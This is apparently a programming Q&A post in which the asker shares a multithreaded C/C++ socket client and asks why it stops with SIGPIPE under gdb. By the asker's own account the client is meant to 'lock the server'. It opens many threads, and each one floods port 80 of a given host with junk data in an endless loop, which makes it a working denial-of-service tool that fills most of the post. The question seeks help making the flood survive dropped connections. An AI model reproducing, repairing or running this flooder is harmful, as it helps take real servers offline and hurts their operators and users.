title: Program received signal SIGPIPE, Broken pipe
body: <p>I write a client program based on posix sockets. The program creates multiple threads and is going to lock the server. But during debug in gdb time the program gives an info (error) </p>
  
  <blockquote>
  <pre><code>(gdb) n
  Program received signal SIGPIPE, Broken pipe. [Switching to Thread 0xb74c0b40 (LWP 4864)] 0xb7fdd424 in __kernel_vsyscall () 
  (gdb) 
  </code></pre>
  </blockquote>
  
  <p>Here's the code:</p>
  
  <pre><code>#include &lt;arpa/inet.h&gt;
  #include &lt;netdb.h&gt;
  #include &lt;netinet/in.h&gt;
  #include &lt;pthread.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;sys/socket.h&gt;
  #include &lt;sys/types.h&gt;
  #include &lt;unistd.h&gt;
  
  int get_hostname_by_ip(char* h , char* ip)
  {
      struct hostent *he;
      struct in_addr **addr_list;
      int i;
  
      if ((he = gethostbyname(h)) == NULL) 
      {
          perror("gethostbyname");
          return 1;
      }
      addr_list = (struct in_addr **) he-&gt;h_addr_list;
      for(i = 0; addr_list[i] != NULL; i++) 
      {
          strcpy(ip , inet_ntoa(*addr_list[i]) );
          return 0;
      }
  
      return 1;
  }
  
  void client(char* h, int s)
  {
      int fd;
      struct sockaddr_in addr;
      char ch[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
      fd = socket(AF_INET, SOCK_STREAM, 0);
      addr.sin_family=AF_INET;
      char* ip = new char[20];
      get_hostname_by_ip(h, ip);
      addr.sin_addr.s_addr=inet_addr(ip);
      int port = 80;
      addr.sin_port=htons(port);
      if(connect(fd, (struct sockaddr*)&amp;addr, sizeof(addr)) &lt; 0) 
      {
          perror("connect error");
          return;
      }
      while(1)
      {
          if(send(fd, ch, sizeof(ch), 0) &lt; 0)
          {   
              perror("send");
          }
      }
      //char buffer[1024];
      //if(recv(fd, &amp;buffer, sizeof(buffer), 0) &lt; 0)
      //{ 
      //  perror("recive");
      //}
  
      //printf("nReply from Server: %s\n", buffer);
      close(fd);
  }
  
  struct info
  {
      char* h;
      int c;
  };
  
  
  void* thread_entry_point(void* i)
  {
      info* in = (info*)i;
      client(in-&gt;h, in-&gt;c);
  }
  
  int main(int argc, char** argv)
  {
      int s = atoi(argv[2]);
      pthread_t t[s];
      info in = {argv[1], s};
      for(int i = 0; i &lt; s; ++i)
      {
          pthread_create(&amp;t[i], NULL, thread_entry_point, (void*)&amp;in);
      }
      pthread_join(t[0], NULL);
  
      return 0;
  }
  </code></pre>
  
  <p>What it is and what to do?</p>